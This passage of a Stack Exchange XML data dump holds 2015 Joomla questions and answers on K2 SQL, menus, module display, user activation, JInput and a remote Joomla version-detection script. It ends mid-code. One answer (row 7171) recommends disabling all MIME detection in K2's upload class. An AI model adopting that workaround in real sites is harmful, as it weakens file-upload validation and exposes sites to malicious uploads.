&quot;1&quot;,&quot;subCategories&quot;:&quot;1&quot;,&quot;subCatColumns&quot;:&quot;1&quot;,&quot;subCatOrdering&quot;:&quot;&quot;,&quot;subCatTitle&quot;:&quot;1&quot;,&quot;subCatTitleItemCounter&quot;:&quot;1&quot;,&quot;subCatDescription&quot;:&quot;1&quot;,&quot;subCatImage&quot;:&quot;1&quot;,&quot;itemImageXS&quot;:&quot;&quot;,&quot;itemImageS&quot;:&quot;&quot;,&quot;itemImageM&quot;:&quot;&quot;,&quot;itemImageL&quot;:&quot;&quot;,&quot;itemImageXL&quot;:&quot;&quot;,&quot;catItemTitle&quot;:&quot;1&quot;,&quot;catItemTitleLinked&quot;:&quot;1&quot;,&quot;catItemFeaturedNotice&quot;:&quot;1&quot;,&quot;catItemAuthor&quot;:&quot;0&quot;,&quot;catItemDateCreated&quot;:&quot;1&quot;,&quot;catItemRating&quot;:&quot;0&quot;,&quot;catItemImage&quot;:&quot;1&quot;,&quot;catItemIntroText&quot;:&quot;1&quot;,&quot;catItemIntroTextWordLimit&quot;:&quot;&quot;,&quot;catItemExtraFields&quot;:&quot;0&quot;,&quot;catItemHits&quot;:&quot;0&quot;,&quot;catItemCategory&quot;:&quot;1&quot;,&quot;catItemTags&quot;:&quot;0&quot;,&quot;catItemAttachments&quot;:&quot;0&quot;,&quot;catItemAttachmentsCounter&quot;:&quot;0&quot;,&quot;catItemVideo&quot;:&quot;0&quot;,&quot;catItemVideoWidth&quot;:&quot;&quot;,&quot;catItemVideoHeight&quot;:&quot;&quot;,&quot;catItemAudioWidth&quot;:&quot;&quot;,&quot;catItemAudioHeight&quot;:&quot;&quot;,&quot;catItemVideoAutoPlay&quot;:&quot;0&quot;,&quot;catItemImageGallery&quot;:&quot;0&quot;,&quot;catItemDateModified&quot;:&quot;0&quot;,&quot;catItemReadMore&quot;:&quot;1&quot;,&quot;catItemCommentsAnchor&quot;:&quot;0&quot;,&quot;catItemK2Plugins&quot;:&quot;1&quot;,&quot;itemDateCreated&quot;:&quot;1&quot;,&quot;itemTitle&quot;:&quot;1&quot;,&quot;itemFeaturedNotice&quot;:&quot;1&quot;,&quot;itemAuthor&quot;:&quot;0&quot;,&quot;itemFontResizer&quot;:&quot;0&quot;,&quot;itemPrintButton&quot;:&quot;0&quot;,&quot;itemEmailButton&quot;:&quot;0&quot;,&quot;itemSocialButton&quot;:&quot;1&quot;,&quot;itemVideoAnchor&quot;:&quot;1&quot;,&quot;itemImageGalleryAnchor&quot;:&quot;1&quot;,&quot;itemCommentsAnchor&quot;:&quot;1&quot;,&quot;itemRating&quot;:&quot;0&quot;,&quot;itemImage&quot;:&quot;1&quot;,&quot;itemImgSize&quot;:&quot;Large&quot;,&quot;itemImageMainCaption&quot;:&quot;1&quot;,&quot;itemImageMainCredits&quot;:&quot;1&quot;,&quot;itemIntroText&quot;:&quot;1&quot;,&quot;itemFullText&quot;:&quot;1&quot;,&quot;itemExtraFields&quot;:&quot;0&quot;,&quot;itemDateModified&quot;:&quot;0&quot;,&quot;itemHits&quot;:&quot;0&quot;,&quot;itemCategory&quot;:&quot;0&quot;,&quot;itemTags&quot;:&quot;1&quot;,&quot;itemAttachments&quot;:&quot;0&quot;,&quot;itemAttachmentsCounter&quot;:&quot;0&quot;,&quot;itemVideo&quot;:&quot;1&quot;,&quot;itemVideoWidth&quot;:&quot;&quot;,&quot;itemVideoHeight&quot;:&quot;&quot;,&quot;itemAudioWidth&quot;:&quot;&quot;,&quot;itemAudioHeight&quot;:&quot;&quot;,&quot;itemVideoAutoPlay&quot;:&quot;0&quot;,&quot;itemVideoCaption&quot;:&quot;1&quot;,&quot;itemVideoCredits&quot;:&quot;1&quot;,&quot;itemImageGallery&quot;:&quot;1&quot;,&quot;itemNavigation&quot;:&quot;0&quot;,&quot;itemComments&quot;:&quot;1&quot;,&quot;itemTwitterButton&quot;:&quot;1&quot;,&quot;itemFacebookButton&quot;:&quot;1&quot;,&quot;itemGooglePlusOneButton&quot;:&quot;1&quot;,&quot;itemAuthorBlock&quot;:&quot;1&quot;,&quot;itemAuthorImage&quot;:&quot;1&quot;,&quot;itemAuthorDescription&quot;:&quot;1&quot;,&quot;itemAuthorURL&quot;:&quot;1&quot;,&quot;itemAuthorEmail&quot;:&quot;0&quot;,&quot;itemAuthorLatest&quot;:&quot;1&quot;,&quot;itemAuthorLatestLimit&quot;:&quot;5&quot;,&quot;itemRelated&quot;:&quot;1&quot;,&quot;itemRelatedLimit&quot;:&quot;5&quot;,&quot;itemRelatedTitle&quot;:&quot;1&quot;,&quot;itemRelatedCategory&quot;:&quot;1&quot;,&quot;itemRelatedImageSize&quot;:&quot;0&quot;,&quot;itemRelatedIntrotext&quot;:&quot;1&quot;,&quot;itemRelatedFulltext&quot;:&quot;1&quot;,&quot;itemRelatedAuthor&quot;:&quot;1&quot;,&quot;itemRelatedMedia&quot;:&quot;1&quot;,&quot;itemRelatedImageGallery&quot;:&quot;1&quot;,&quot;itemK2Plugins&quot;:&quot;1&quot;,&quot;catMetaDesc&quot;:&quot;&quot;,&quot;catMetaKey&quot;:&quot;&quot;,&quot;catMetaRobots&quot;:&quot;&quot;,&quot;catMetaAuthor&quot;:&quot;&quot;}', 0, '', '*');&#xA;&#xA;ALTER TABLE `bq1ry_k2_categories`&#xA; ADD PRIMARY KEY (`id`), ADD KEY `category` (`published`,`access`,`trash`), ADD KEY `parent` (`parent`), ADD KEY `ordering` (`ordering`), ADD KEY `published` (`published`), ADD KEY `access` (`access`), ADD KEY `trash` (`trash`), ADD KEY `language` (`language`);&#xA;&#xA;ALTER TABLE `bq1ry_k2_categories`&#xA;MODIFY `id` int(11) unsigned NOT NULL AUTO_INCREMENT,AUTO_INCREMENT=35;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3470" LastEditorUserId="168" LastEditDate="2015-01-24T09:33:00.090" LastActivityDate="2015-01-24T09:33:00.090" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="7168" PostTypeId="2" ParentId="7096" CreationDate="2015-01-23T09:08:49.163" Score="0" Body="&lt;p&gt;Create two user groups &quot;Guest&quot; and &quot;Register&quot;. Add home menu under &quot;Guest group&quot;. Add other menus in &quot;Register group&quot;. Add the user in &quot;Register&quot; group . So when a user logs in the guest menu is hidden. Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3470" LastActivityDate="2015-01-23T09:08:49.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7169" PostTypeId="2" ParentId="6942" CreationDate="2015-01-23T10:38:40.430" Score="0" Body="&lt;p&gt;i have solved the problem with a little trick now. maybe it could be solved in a better way by tweeking the js code, but i came up with another solution, that might point out to a &quot;bug&quot; or something in that module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem was caused by having two menus with the same options in backend.&#xA;i have had Load js &quot;on&quot; load hover &quot;off&quot; on both menus. when i changed the mobile menu to Load js on and load hover on, the menu would load correct again.&#xA;and the weirdest part about it is, that in the mobile menu the hover effect isn't even working (just like i wanted) so now it works as i want it to .. but was kind of random succes / try and error .. &lt;/p&gt;&#xA;" OwnerUserId="2332" LastActivityDate="2015-01-23T10:38:40.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7170" PostTypeId="1" CreationDate="2015-01-23T12:31:59.310" Score="6" ViewCount="2066" Body="&lt;p&gt;Can You Please Answer What Is The Difference Between the following functions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JLoader::import&lt;/code&gt; and &lt;code&gt;JLoader::register&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;which belong in the &lt;strong&gt;loader.php&lt;/strong&gt; file?&lt;/p&gt;&#xA;" OwnerUserId="3553" LastEditorUserId="3553" LastEditDate="2015-02-13T15:19:49.193" LastActivityDate="2015-02-13T15:20:39.280" Title="JLoader::import vs JLoader::register" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7171" PostTypeId="2" ParentId="7071" CreationDate="2015-01-23T12:47:17.257" Score="0" Body="&lt;p&gt;Have you tried:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I edited the file administrator/components/com_k2/lib/class.upload.php&#xA;  and set MIME detection methods to false :&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// these are the different MIME detection methods. if one of these methods&#xA;// doesn't work on yoursystem, you can deactivate it here; just set it to false&#xA;$this-&amp;gt;mime_fileinfo = false; // MIME detection with Fileinfo PECL extension   &#xA;$this-&amp;gt;mime_file = false; // MIME detection with UNIX file() commaed&#xA;$this-&amp;gt;mime_magic = false; // MIME detection with mime_magic (mime_content_type())&#xA;$this-&amp;gt;mime_getimagesize = false; // MIME detection with getimagesize()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This resolved the issue&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-01-23T12:47:17.257" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7172" PostTypeId="1" CreationDate="2015-01-23T13:51:17.500" Score="0" ViewCount="667" Body="&lt;p&gt;So the problem is that modules won't show in sub-categories. If you take a look at my site &lt;a href=&quot;http://nerdyfuture.byethost24.com/index.php&quot; rel=&quot;nofollow&quot;&gt;NerdyFuture&lt;/a&gt;. You will see a menu bar with Articles, if you hover over it you will see some sub-categories. If you look at for example Software you will see all articles that are set to the categorie Software. I want to remove everthing from it except the navigation and only use a module on the page (Mini Front Page module). I tried to add the module to the page but it doesn't show up and yes it's published and set to a position.&#xA;How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="3396" LastActivityDate="2015-03-25T14:28:08.583" Title="Modules not displaying on sub-catgories (Category blog)" Tags="|joomla-3.x|module|module-display|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7173" PostTypeId="2" ParentId="7149" CreationDate="2015-01-23T13:57:11.767" Score="1" Body="&lt;p&gt;Apparently the hooks I need aren't there, so here's the code I used to get it working:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = $app-&amp;gt;getMenu();&#xA;$menuitem = $menu-&amp;gt;getItem(100);&#xA;$querystring = str_ireplace('index.php?','',$menuitem-&amp;gt;link);&#xA;parse_str($querystring, $array);&#xA;$array['id'] = 12345;&#xA;$temp_url = 'index.php?'.http_build_query($array);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-01-23T13:57:11.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7174" PostTypeId="1" AcceptedAnswerId="7204" CreationDate="2015-01-23T14:04:02.560" Score="4" ViewCount="3546" Body="&lt;p&gt;I´m aware that a similar qustion is asked here:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/7125/get-current-language-in-external-script-joomla-3-3&quot;&gt;Get current language in external script (Joomla 3.3)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it seems that noone has understood the problem correctly.&#xA;I´m having the exact same problem, so here is my example, maybe it is easier to understand:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On previous Joomla sites I´ve used this script to get the current language in external script, and it works perfectly in Joomla 2.5 framework, but for some reason it doesn´t in Joomla 3.xx. In Joomla 3 $CurrentlangString always resolves to &quot;en-GB&quot; even though another language is active:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define( '_VALID_MOS', 1 );&#xA;define( 'JPATH_BASE', $_SERVER[&quot;DOCUMENT_ROOT&quot;]);&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;require_once ( JPATH_BASE .DS.'libraries'.DS.'joomla'.DS.'factory.php' );&#xA;&#xA;$mainframe = JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;&#xA;$Currentlang = JFactory::getLanguage();&#xA;$CurrentlangString = $Currentlang-&amp;gt;getTag();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please advice what is wrong here..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a little bonus info that may help a little.&#xA;When loading the code above in external file under Joomla 3, it seems that it does indeed load the framework, because I have no problem accessing the user object and get the current user´s infos, but for some strange reason I cannot get the current language..&lt;/p&gt;&#xA;" OwnerUserId="3555" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2017-09-11T00:03:58.380" Title="Getting current language in Joomla 3 in external script seems difficult.. but works fine in J2.5" Tags="|joomla-3.3.x|language|jfactory|external-script|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7175" PostTypeId="2" ParentId="7172" CreationDate="2015-01-23T14:14:52.273" Score="1" Body="&lt;p&gt;This would be a comment, but i do not have enough reputation to do so .. &#xA;why would you set this page on category articles, when you just want to show a module? of course all the articles are displayed, because that is your setting right now.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you have several different options to display your module. you could either load the position in a single article and link to this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you could set your template in a way that it displays your module position you have the module in as well as an article. you leave the article empty, and just use it to link to it through menu manager.&lt;/p&gt;&#xA;" OwnerUserId="2332" LastActivityDate="2015-01-23T14:14:52.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7176" PostTypeId="2" ParentId="7174" CreationDate="2015-01-23T15:47:44.123" Score="0" Body="&lt;p&gt;Please check this forum post, seems to be the identical issue to your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=711&amp;amp;t=844514&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?f=711&amp;amp;t=844514&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;afaik, the &lt;a href=&quot;https://docs.joomla.org/JFactory/getLanguage&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/JFactory/getLanguage&lt;/a&gt; getLanguage() needs a existing global language object, else a new one will be created. And I assume en-GB is your default language. So either integrate your script in to the existing session, or ensure your session gets initialized properly.&lt;/p&gt;&#xA;" OwnerUserId="3547" LastActivityDate="2015-01-23T15:47:44.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7177" PostTypeId="2" ParentId="7172" CreationDate="2015-01-23T16:18:39.813" Score="1" Body="&lt;p&gt;A module can be published, set to a position as you say, but it also must be allocated to one or more menu items. Double-check the mini-frontpage module settings to ensure you have specified where it is to appear. You may have overlooked this tab completely.&lt;/p&gt;&#xA;" OwnerUserId="3546" LastActivityDate="2015-01-23T16:18:39.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7178" PostTypeId="1" AcceptedAnswerId="7181" CreationDate="2015-01-24T06:25:39.853" Score="1" ViewCount="833" Body="&lt;p&gt;I am using Joomla 2.5 user registration form. After successful User registration user will get activation mail and his status in admin back end is inactive and blocked .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And i have made one changes that After successful registration user status in back end is enabled . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;code is : registration.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check if the user needs to activate their account.&#xA;    if (($useractivation == 1) || ($useractivation == 2)) {&#xA;        $data['activation'] = JApplication::getHash(JUserHelper::genRandomPassword());&#xA;        $data['block'] = 0;//0-enable 1-block&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this changes user state is enabled rather than blocked After successful registration . and he can activate his accountand login all so . but the problem is after activating his account all so his status is showing not activate in admin back end . what is the solution for this .? &lt;/p&gt;&#xA;" OwnerUserId="2134" LastActivityDate="2015-01-24T10:37:41.433" Title="Problem in Joomla 2.5 user activate and enable" Tags="|joomla-3.x|joomla-2.5|extensions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7179" PostTypeId="2" ParentId="7174" CreationDate="2015-01-24T07:52:39.543" Score="4" Body="&lt;p&gt;I am making a guess here, as I can't really test this right now and I am not entirely sure I understood what you want correctly, but this should be in the correct general direction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define( 'JPATH_BASE', $_SERVER[&quot;DOCUMENT_ROOT&quot;]);&#xA;&#xA;require_once ( JPATH_BASE '/includes/defines.php' );&#xA;require_once ( JPATH_BASE '/includes/framework.php' );&#xA;$mainframe = JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;&#xA;$user = JFactory::getUser();&#xA;$language = $user-&amp;gt;getParam('language', 'the default');&#xA;&#xA;echo &quot;&amp;lt;p&amp;gt;Your language is set to {$language}.&amp;lt;/p&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Fundamentally, hkais was correct. In Joomla! 3 the site has a default language, but not really a current language, as there might be several current users. And if you want the current language of the current user, you need ask it from the current user. Or the user you happen to be interested in. Like I said, I have no confidence I understood what you want.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-01-24T07:52:39.543" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7181" PostTypeId="2" ParentId="7178" CreationDate="2015-01-24T10:37:41.433" Score="2" Body="&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery(&#xA;        'SELECT '.$db-&amp;gt;quoteName('id').' FROM '.$db-&amp;gt;quoteName('#__users') .&#xA;        ' WHERE '.$db-&amp;gt;quoteName('activation').' = '.$db-&amp;gt;Quote($token) .&#xA;        ' AND '.$db-&amp;gt;quoteName('block').' = 0' .&#xA;        ' AND '.$db-&amp;gt;quoteName('lastvisitDate').' = '.$db-&amp;gt;Quote($db-&amp;gt;getNullDate())&#xA;    );`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to change block= 0 here in registration.php&lt;/p&gt;&#xA;" OwnerUserId="3559" LastActivityDate="2015-01-24T10:37:41.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7182" PostTypeId="1" AcceptedAnswerId="7190" CreationDate="2015-01-24T10:41:23.073" Score="5" ViewCount="1406" Body="&lt;p&gt;i am using Joomla 2.5 user registration form .After successful registration user will get Activation link throw their registered mail id . I want to Add some content to email body(Footer). i have tried a lot but not succeeded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code : registration.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i tried this .&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$emailBody = JText::sprintf(&#xA;                'COM_USERS_EMAIL_REGISTERED_WITH_ADMIN_ACTIVATION_BODY_NOPW',&#xA;                $data['name'],&#xA;                $data['sitename'],&#xA;                $data['siteurl'].'index.php?option=com_users&amp;amp;task=registration.activate&amp;amp;token='.$data['activation'],&#xA;                $data['siteurl'],&#xA;                $data['username'].'regarts: mysitename'&#xA;&#xA;            );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the problem is &quot;user name&quot; and 'regarts: mysitename' both are coming in a same line. even &lt;br&gt; all so not working . what is the solution for this ? &lt;/p&gt;&#xA;" OwnerUserId="3559" LastActivityDate="2015-01-24T15:05:09.803" Title="How to edit user activation mail body in Joomla 2.5?" Tags="|joomla-3.x|joomla-2.5|joomla-3.3.x|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7183" PostTypeId="1" CreationDate="2015-01-24T12:00:35.043" Score="-1" ViewCount="459" Body="&lt;p&gt;Is it possible to have a module on top of another module? If so how would I go about doing this. Can anyone help me out please?&lt;/p&gt;&#xA;" OwnerUserId="3560" LastActivityDate="2015-01-24T12:28:57.133" Title="How to have a Joomla module on top of another module" Tags="|joomla-3.x|css|jhtml|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7184" PostTypeId="2" ParentId="7183" CreationDate="2015-01-24T12:28:57.133" Score="2" Body="&lt;p&gt;I'll put this as an answer so I can go into further detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you basically need a module with a white background and text on top of it. You initially wanted to have 2 modules. 1 on top of the other. Simply fact is that this is a bad approach and not required at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To suit your needs, you only need 1 module, so go to your Module Manager, create a &lt;strong&gt;new&lt;/strong&gt; module and set the type to &lt;strong&gt;Custom&lt;/strong&gt;. Once done, you will see a field called &lt;strong&gt;Module Class Suffix&lt;/strong&gt;. Type in something which will act as a CSS class. For example &lt;code&gt;white&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note: Make sure you put a space before the word&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, open the CSS file for your template and add the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.white {&#xA;    background: #FFF;&#xA;    color: #000;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will make the background for your module white an d the colour of the text black. You can of course add additional styling to suit your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-24T12:28:57.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7185" PostTypeId="1" AcceptedAnswerId="7186" CreationDate="2015-01-24T12:36:34.453" Score="1" ViewCount="107" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined( '_JEXEC' ) or die;&#xA;&#xA;class plgSystemTemplateSwitcher extends JPlugin&#xA;    {&#xA;        function onAfterInitialise()&#xA;            {&#xA;                $input = JFactory::getApplication()-&amp;gt;input;&#xA;                $session = JFactory::getSession();&#xA;                $template = $input-&amp;gt;getCmd( 'template', '' );&#xA;                if ( $template !== '' ) {&#xA;                $session-&amp;gt;set( 'templateChanged', $template );&#xA;                }&#xA;                if ( $session-&amp;gt;get( 'templateChanged', '' )!== '' ) {&#xA;                $input-&amp;gt;set( 'template', $session-&amp;gt;get( 'templateChanged', '' ) );&#xA;                }&#xA;            }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is used as plugin to change the template for the current user. They click a link which contains the &lt;code&gt;GET&lt;/code&gt; parameter &lt;code&gt;template=mytemplate&lt;/code&gt; and the template is saved into user session and gets displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$template = $input-&amp;gt;getCmd( 'template', '' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$template = JRequest::getVar('template');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I have a Joomla 1.5 site which doesn't support the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got an error when try to set &lt;code&gt;$input-&amp;gt;set()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can help me to port this code to 1.5 version?&lt;/p&gt;&#xA;" OwnerUserId="3561" LastEditorUserId="159" LastEditDate="2015-01-24T18:01:42.170" LastActivityDate="2015-01-24T18:01:42.170" Title="What to use instead of Jinput in Joomla 1.5?" Tags="|joomla-1.5|jinput|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7186" PostTypeId="2" ParentId="7185" CreationDate="2015-01-24T12:44:58.980" Score="2" Body="&lt;p&gt;To set something on Joomla 1.5, you will need to use &lt;code&gt;setVar&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$template = JRequest::getVar('template');&#xA;JRequest::setVar('template', $template); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Joomla 1.5 is extremely old and is not officially supported anymore. You will also find people on here less willing to support you. Please consider migrating your website to the latest version of Joomla, mainly for security reasons.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-01-24T12:44:58.980" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7187" PostTypeId="2" ParentId="7148" CreationDate="2015-01-24T13:20:12.170" Score="16" Body="&lt;p&gt;Ok so this is what I was writing yesterday.&lt;/p&gt;&#xA;&lt;h3&gt;For Joomla 2.5 and 3.x only&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check if the &lt;code&gt;http://&lt;/code&gt; prefix is missing from the URL. If it is, then it adds it. Note that In this case I have &lt;strong&gt;not&lt;/strong&gt; taken &lt;code&gt;https://&lt;/code&gt; into consideration.&lt;/li&gt;&#xA;&lt;li&gt;It then tries to get the Joomla manifest file and checks whether is exists/is readable.&lt;/li&gt;&#xA;&lt;li&gt;If it exists then it gets the value from the &lt;code&gt;&amp;lt;version&amp;gt;&lt;/code&gt; tag.&lt;/li&gt;&#xA;&lt;li&gt;If the XML file is not readable, then I have written a fallback to get the TinyMCE version. Again, it will try to read the value from the &lt;code&gt;&amp;lt;version&amp;gt;&lt;/code&gt; tag.&lt;/li&gt;&#xA;&lt;li&gt;From here on, I spent quite a long time going through the release notes for each Joomla version to see which versions has a TinyMCE update. Those that did, I added to the &lt;code&gt;switch&lt;/code&gt; block further own in the code. This approach will not give the exact version apart from 2 of them, but it will give an average. I was thinking about detecting the jQuery version but then realised that a lot of people update the core version to the latest which would then make the results inaccurate.&lt;/li&gt;&#xA;&lt;li&gt;If the TinyMCE version cannot be found (so basically a non-Joomla site), then the function will return &lt;code&gt;Unknown&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This script uses &lt;code&gt;CURL&lt;/code&gt; so make sure it's enabled on your server.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;pre&gt;&lt;code&gt;class JoomlaVersions&#xA;{&#xA;    public function getJoomlaVersion($site)&#xA;    {&#xA;        // Add http prefix if missing&#xA;        if (strpos($site,'http://') === false)&#xA;        {&#xA;            $site = 'http://'.$site;&#xA;        }&#xA;    &#xA;        // Get the number value from the &amp;lt;version&amp;gt; tag in the XML file&#xA;        $dom = new DOMDocument;&#xA;        $url = $site . '/administrator/manifests/files/joomla.xml';&#xA;        libxml_use_internal_errors(true);&#xA;&#xA;        $exists = $this-&amp;gt;XMLexists($url);&#xA;    &#xA;        if( $exists )&#xA;        {&#xA;            $dom-&amp;gt;load($url);&#xA;            $versions = $dom-&amp;gt;getElementsByTagName('version');&#xA;    &#xA;            foreach ($versions as $version) &#xA;            {&#xA;                return $version-&amp;gt;nodeValue;&#xA;            }&#xA;        }&#xA;        else &#xA;        {&#xA;            $mce = $this-&amp;gt;getTinyMCEversion($site);&#xA;    &#xA;            if($mce)&#xA;            {&#xA;                // Base Joomla version on the TinyMCE version&#xA;                switch ($mce)&#xA;                {&#xA;                    case '3.5.6':&#xA;                        $joomla = '3.0.0 - 3.1.6';&#xA;                        break;&#xA;                    case '4.0.10':&#xA;                        $joomla = '3.2.0 - 3.2.1';&#xA;                        break;&#xA;                    case '4.0.12':&#xA;                        $joomla = '3.2.2';&#xA;                        break;&#xA;                    case '4.0.18':&#xA;                        $joomla = '3.2.3 - 3.2.4';&#xA;                        break;&#xA;                    case '4.0.22':&#xA;                        $joomla = '3.3.0';&#xA;                        break;&#xA;                    case '4.0.28':&#xA;                        $joomla = '3.3.1 - 3.3.6';&#xA;                        break; &#xA;                    case '4.1.7':&#xA;                        $joomla = '3.4.0';&#xA;                        break; &#xA;                    default:&#xA;                        $joomla = '3.x';&#xA;                }&#xA;    &#xA;                return $joomla;&#xA;            }&#xA;            else &#xA;            {&#xA;                return 'Unknown';&#xA;            }&#xA;        }   &#xA;    }&#xA;&#xA;    // Get TinyMCE Version &#xA;    private function getTinyMCEversion($site)&#xA;    {&#xA;        $tinymce = $site . '/plugins/editors/tinymce/tinymce.xml';      &#xA;        libxml_use_internal_errors(true);&#xA;&#xA;        $exists = $this-&amp;gt;XMLexists($tinymce);&#xA;&#xA;        if( $exists )&#xA;        {&#xA;            $dom-&amp;gt;load($tinymce);&#xA;            $vTag = $dom-&amp;gt;getElementsByTagName('version');&#xA;&#xA;            foreach ($vTag as $tag) &#xA;            {&#xA;                return $tag-&amp;gt;nodeValue;&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    // Check file exists using CURL&#xA;    private function XMLexists($url)&#xA;    {&#xA;        $ch = curl_init($url);&#xA;        curl_setopt($ch, CURLOPT_NOBODY, true);&#xA;        